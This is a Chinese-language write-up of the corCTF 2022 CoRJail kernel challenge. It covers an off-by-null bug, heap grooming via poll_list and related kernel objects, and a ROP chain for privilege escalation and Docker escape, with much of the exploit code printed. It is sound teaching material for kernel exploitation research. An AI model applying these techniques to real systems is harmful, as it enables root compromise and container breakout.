cormon_proc_write
函数中存在一处很明显的off-by-null
漏洞:
static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) { [...] len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count; // [1]当count等于PAGE_SIZE时,len等于PAGE_SIZE syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC); // [2]申请一个PAGE_SIZE大小的堆块 printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls); if (!syscalls) { printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n"); return -ENOMEM; } if (copy_from_user(syscalls, ubuf, len)) // [3]从用户空间拷贝数据到内核空间 { printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n"); return -EFAULT; } syscalls[len] = '\x00'; // [4]当len=PAGE_SIZE时,syscalls[PAGE_SIZE] = '\x00',越界写null [...] }
当写入字节为4096时,len被设置为4096,而syscalls[4096] = '\x00'
会导致一个null
字节写入界外。
由于作者为了展示在Google KCTF漏洞奖励计划中新颖的内核漏洞利用技术,也就是CVE-2022-27666中对应的exp7,给题目加了很多的限制:
所有现代的保护措施,如内核地址空间布局随机化 (KASLR
)、用户模式执行保护 (SMEP
)、用户模式访问保护 (SMAP
)、内核页面表隔离 (KPTI
)、SLAB分配器随机化 (CONFIG_SLAB_FREELIST_RANDOM
)、SLAB分配器硬化保护 (CONFIG_SLAB_FREELIST_HARDENED
) 等都已启用CONFIG_STATIC_USERMODEHELPER
被设置为 true迫使用户模式辅助程序通过单一的二进制文件调用,并且 CONFIG_STATIC_USERMODEHELPER_PATH
被设置为空字符串,即没有 modprobe_path 技巧。CONFIG_DEBUG_FS
和 CONFIG_KALLSYMS_ALL
被取消设置,使得许多符号在/proc/kallsyms
中不可用。
特意没有编译某些子系统,比如io_uring和nftables,以减少攻击面。
CoRJail运行在一个定制的Debian Bullseye镜像的加固Docker容器上。默认的Docker seccomp配置文件被修改以阻止多个系统调用,包括msgget()/msgsnd()和msgrcv()。定制的seccomp配置文件可以在这里找到。
漏洞利用用到了poll_list结构,seq_operations结构,user_key_payload结构,tty_file_private结构和pipe_buff结构。这里我主要介绍一下poll_list
结构。
poll_list结构体:
struct poll_list { struct poll_list *next; // 指向下一个poll_list int len; // 对应于条目数组中pollfd结构的数量 struct pollfd entries[]; // 存储pollfd结构的数组 };
当我们使用poll函数来监视一个或多个文件描述符上的活动时,会在内核空间分配。
#include <fcntl.h> #include <poll.h> //int poll(struct pollfd fds[], nfds_t nfds, int timeout); //fds:一个pollfd结构的数组 //nfds:表示'fds'数组中的文件描述符数量 //timeout:表示超时时间,单位是毫秒。 int main(int argc, char *argv[]) { struct pollfd *pfds; int fd; int nfds = 256; int timeout = 3000; pfds = calloc(nfds,sizeof(struct pollfd)); fd = open("/etc/passwd", O_RDONLY); for (int i = 0; i < nfds; i++) { pfds[i].fd = fd; pfds[i].events = POLLERR; } poll(pfds, nfds, timeout); //将会进行阻塞,阻塞的时间由timeout决定 }
内核调用栈:
内核函数do_sys_poll()在[4]
处能申请到 kmalloc-32 到 kmalloc-4k 的内核堆:
#define POLL_STACK_ALLOC 256 #define PAGE_SIZE 4096 #define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd)) #define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / \ sizeof(struct pollfd)) [...] static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds, struct timespec64 *end_time) { struct poll_wqueues table; int err = -EFAULT, fdcount, len; /* Allocate small arguments on the stack to save memory and be faster - use long to make sure the buffer is aligned properly on 64 bit archs to avoid unaligned access */ long stack_pps[POLL_STACK_ALLOC/sizeof(long)]; // [1]为了节省内存并提高速度而分配的堆栈 struct poll_list *const head = (struct poll_list *)stack_pps; struct poll_list *walk = head; unsigned long todo = nfds; if (nfds > rlimit(RLIMIT_NOFILE)) return -EINVAL; len = min_t(unsigned int, nfds, N_STACK_PPS); // [2]最多存储30个pollfd条目 for (;;) { walk->next = NULL; walk->len = len; if (!len) break; if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len)) goto out_fds; todo -= walk->len; if (!todo) break; len = min(todo, POLLFD_PER_PAGE); // [3]每页最多可以分配POLLFD_PER_PAGE(510)个条目 walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL); // [4]可以通过控制len,也就是控制被监控的文件描述符的数量来控制分配的大小,范围从 kmalloc-32 到 kmalloc-4k; if (!walk) { err = -ENOMEM; goto out_fds; } } poll_initwait(&table); fdcount = do_poll(head, &table, end_time); // [5]监视所提供的文件描述符,直到特定事件发生或定时器过期。[5] poll_freewait(&table); if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and) goto out_fds; for (walk = head; walk; walk = walk->next) { struct pollfd *fds = walk->entries; int j; for (j = walk->len; j; fds++, ufds++, j--) unsafe_put_user(fds->revents, &ufds->revents, Efault); } user_write_access_end(); err = fdcount; out_fds: walk = head->next; while (walk) { // [6]遍历单链表,释放每一个结构 struct poll_list *pos = walk; walk = walk->next; kfree(pos); } return err; Efault: user_write_access_end(); err = -EFAULT; goto out_fds; }
当我们调用poll
函数,并向poll函数提供30+510+1
个文件描述符时,poll_list
在堆中的结构如下(还有30个在栈上):
在所有poll_list
对象分配完之后,在[5]处有个对do_poll的调用,它将监视所提供的文件描述符,直到一个特定的事件发生或计时器过期。
值得注意的是poll_list
是如何被释放的:在[6]
处,一个while循环被用来遍历poll_list单链表并释放结构,这意味着我们可以通过覆盖poll_list->next
指针造成越界释放的效果。同时while
的判断条件是poll_list
结构的第一个QWORD
是否为空,这可以通过对齐错误的释放(假设你有一个指向对象X的指针,但第一个QWORD
不为空。对齐错误的释放意味着从指针中减去N个字节,例如0x10字节,这样它就指向了内存中前一个对象的最后几个QWORD
。然后释放这个指针指向的内存。劫持控制流的时候用到了这个技巧
)或者我们可以简单地以第一个QWORD等于0的结构为目标来满足条件(泄露指针的时候用到了这个技巧
)。
我们采用poll_list
对象,user_key_payload
对象,seq_operations
对象来泄露堆地址。
首先,我们要打开有漏洞的模块。
使用assign_to_core()
将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。
堆喷大量的seq_operations
,填充kmalloc-32。
fd = open("/proc_rw/cormon", O_RDWR); void assign_to_core(int core_id) { cpu_set_t mask; CPU_ZERO(&mask); CPU_SET(core_id, &mask); if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) { perror("[X] sched_setaffinity()"); exit(1); } } assign_to_core(0); for (int i = 0; i < 2048; i++) alloc_seq_ops(i);
分配一些user_key_payload
,注意user_key_payload
的第一个QWORD必须为NULL。可以使用setxattr函数来设置:具体来说就是kmalloc申请的堆块不一定是为NULL的,不过堆块的申请与释放遵循LIFO原则,所以可以先用setxattr
函数将堆块置空,再将堆块分配给user_key_payload
结构。
int alloc_key(int id, char *buff, size_t size) { char desc[256] = { 0 }; char *payload; int key; size -= sizeof(struct user_key_payload); sprintf(desc, "payload_%d", id); payload = buff ? buff : calloc(1, size); if (!buff) memset(payload, id, size); key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING); if (key < 0) { perror("[X] add_key()"); return -1; } return key; } for (int i = 0; i < 72; i++) { setxattr("/home/user/.bashrc", "user.x", data, 32, XATTR_CREATE); keys[i] = alloc_key(n_keys++, key, 32); }
此时堆布局如下:未分配的块为白色,poll_list
为绿色,user_key_payload
为橙色。
再申请一些user_key_payload
增大成功率,此时堆布局如下:
对cormon
进行写,将会调用定义的cormon_proc_write
函数,触发漏洞,有概率篡改poll_list->next
指针。
用pthread_join
函数等待线程结束,触发越界释放。
同时申请一些seq_operations
结构,造成user_key_payload
结构和seq_operations
结构重叠。
void join_poll_threads(void) { for (int i = 0; i < poll_threads; i++) { pthread_join(poll_tid[i], NULL); open("/proc/self/stat", O_RDONLY); } poll_threads = 0; } write(fd, data, PAGE_SIZE); join_poll_threads();
char *get_key(int i, size_t size) { char *data; data = calloc(1, size); keyctl_read(keys[i], data, size); return data; } key = get_key(i, 0x10000); leak = (uint64_t *)key;
泄露内核堆地址主要是用到了user_key_payload
结构和tty_file_private
结构。
因为user_key_payload->datalen
刚好被seq_operations->single_next
覆盖为一个很大的值,所以可以用来越界读,读取的对象是tty_file_private
,可以通过open("/dev/ptmx",O_RDWR | O_NOCTTY)
打开。
void free_key(int i){ keyctl_revoke(keys[i]); keyctl_unlink(keys[i],-2); n_keys--; } void free_all_keys( bool skip_corrupted_key){ int total = n_keys; for(int i = 0;i<total;i++){ if(skip_corrupted_key && i == corrupted_key) continue; free_key(i); } sleep(1); } void alloc_tty(int i){ ptmx[i] = open("/dev/ptmx",O_RDWR | O_NOCTTY); if (ptmx[i] < 0) { perror("[X] alloc_tty()"); exit(1); } } key = read_key(corrupted_key,0x20000); leak = (uint64_t*)key;
劫持控制流用到了poll_list
对象,user_key_payload
对象和pipe_buffer
对象。
首先用close()
释放掉被seq_operations
和user_key_payload
占据的堆块。
然后用poll_list
对象占据,此时UAF的堆块被user_key_payload
和poll_list
占据。
释放掉user_key_payload
对象,接着用setxattr
函数将堆块的第一个QWORD改为泄露出来的堆地址-0x18,这样接下来就能刚好在堆地址起始处伪造pipe_buffer
结构。将 anon_pipe_buf_ops覆盖为指向我们的rop链的指针,然后close就能成功提权。
for (int i = 2048; i < 2048 + 128; i++) free_seq_ops(i); //释放seq_operations assign_to_core(randint(1, 3)); for (int i = 0; i < 192; i++) create_poll_thread(i, 24, 3000, true);//创建0x20大小的poll_list对象 assign_to_core(0); while (poll_threads != 192) { }; usleep(250000); free_key(corrupted_key); //释放掉有漏洞的user__key_payload对象 sleep(1); // GC key *(uint64_t *)&data[0] = target_object - 0x18; for (int i = 0; i < MAX_KEYS; i++) { setxattr("/home/hi/lol.txt", "user.x", data, 32, XATTR_CREATE); //将poll_list->next改为泄露出来的堆地址-0x18 keys[i] = alloc_key(n_keys++, key, 32); //起的是一个占位作用,避免堆块被其它的结构污染 } for (int i = 0; i < 72; i++) free_tty(i); sleep(1); // GC TTYs for (int i = 0; i < 1024; i++) alloc_pipe_buff(i); while (poll_threads != 0) {}; free_all_keys(false); //释放掉所有的user_key_payload,因为add_key能申请的key是有上限的,超过了就无法申请 for (int i = 0; i < 31; i++) keys[i] = alloc_key(n_keys++, buff, 600); //从0开始伪造 pipe_buffer for (int i = 0; i < 1024; i++) release_pipe_buff(i); //劫持控制流
我们将anon_pipe_buf_ops
指向rop链来劫持控制流(栈迁移)[1]
,然后用prepare_kernel_cred() [2]
和 commit_creds() [3]
来提权,然后我们用find_task_by_vpid() [4]
来定位Docker容器任务,我们用switch_task_namespaces() [5]
将其nsproxy结构改为init_nsproxy。但这还不足以从容器中逃逸。
在Docker容器中,与谷歌的kCTF不同,setns()被seccomp默认屏蔽了,这意味着我们在返回用户空间后不能用它来进入其他命名空间。我们需要找到一种替代方法,并且需要在ROP链中实现它。
阅读setns()的源代码,我们可以看到它调用commit_nsset()来实际移动任务到不同的命名空间。我们可以用copy_fs_struct()复制它的做法,克隆init_fs结构[6]
,然后用find_task_by_vpid() 定位当前任务[7]
,用 gadget 手动安装新fs_struct。[8]
我们最后可以使用swapgs_restore_regs_and_return_to_usermode
绕过KPTI,在主机上获得一个shell。[9]
buff = (char *)calloc(1, 1024); // Stack pivot [1] *(uint64_t *)&buff[0x10] = target_object + 0x30; // anon_pipe_buf_ops *(uint64_t *)&buff[0x38] = kernel_base + 0xffffffff81882840; // push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66] *(uint64_t *)&buff[0x66] = kernel_base + 0xffffffff810007a9; // pop rsp ; ret *(uint64_t *)&buff[0x00] = kernel_base + 0xffffffff813c6b78; // add rsp, 0x78 ; ret // ROP rop = (uint64_t *)&buff[0x80]; // creds = prepare_kernel_cred(0) [2] *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret *rop ++= 0; // 0 *rop ++= kernel_base + 0xffffffff810ebc90; // prepare_kernel_cred // commit_creds(creds) [3] *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret *rop ++= 0; // 0 *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret *rop ++= kernel_base + 0xffffffff810eba40; // commit_creds // task = find_task_by_vpid(1) [4] *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret *rop ++= 1; // pid *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid // switch_task_namespaces(task, init_nsproxy) [5] *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret *rop ++= 0; // 0 *rop ++= kernel_base + 0xffffffff81a05e4b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret *rop ++= kernel_base + 0xffffffff8100051c; // pop rsi ; ret *rop ++= kernel_base + 0xffffffff8245a720; // init_nsproxy; *rop ++= kernel_base + 0xffffffff810ea4e0; // switch_task_namespaces // new_fs = copy_fs_struct(init_fs) [6] *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret *rop ++= kernel_base + 0xffffffff82589740; // init_fs; *rop ++= kernel_base + 0xffffffff812e7350; // copy_fs_struct; *rop ++= kernel_base + 0xffffffff810e6cb7; // push rax ; pop rbx ; ret // current = find_task_by_vpid(getpid()) [7] *rop ++= kernel_base + 0xffffffff81001618; // pop rdi ; ret *rop ++= getpid(); // pid *rop ++= kernel_base + 0xffffffff810e4fc0; // find_task_by_vpid // current->fs = new_fs [8] *rop ++= kernel_base + 0xffffffff8101f5fc; // pop rcx ; ret *rop ++= 0x6e0; // current->fs *rop ++= kernel_base + 0xffffffff8102396f; // add rax, rcx ; ret *rop ++= kernel_base + 0xffffffff817e1d6d; // mov qword ptr [rax], rbx ; pop rbx ; ret *rop ++= 0; // rbx // kpti trampoline [9] *rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22 *rop ++= 0; *rop ++= 0; *rop ++= (uint64_t)&win; *rop ++= usr_cs; *rop ++= usr_rflags; *rop ++= (uint64_t)(stack + 0x5000); *rop ++= usr_ss;
利用成功截图(题目需要ext4文件系统,可以用create-image.sh制作或者从其他地方copy一份过来):
exploit.c
[corCTF 2022] CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel
【Exploit trick】利用poll_list对象构造kmalloc-32任意释放 (corCTF 2022-CoRJail)
题目环境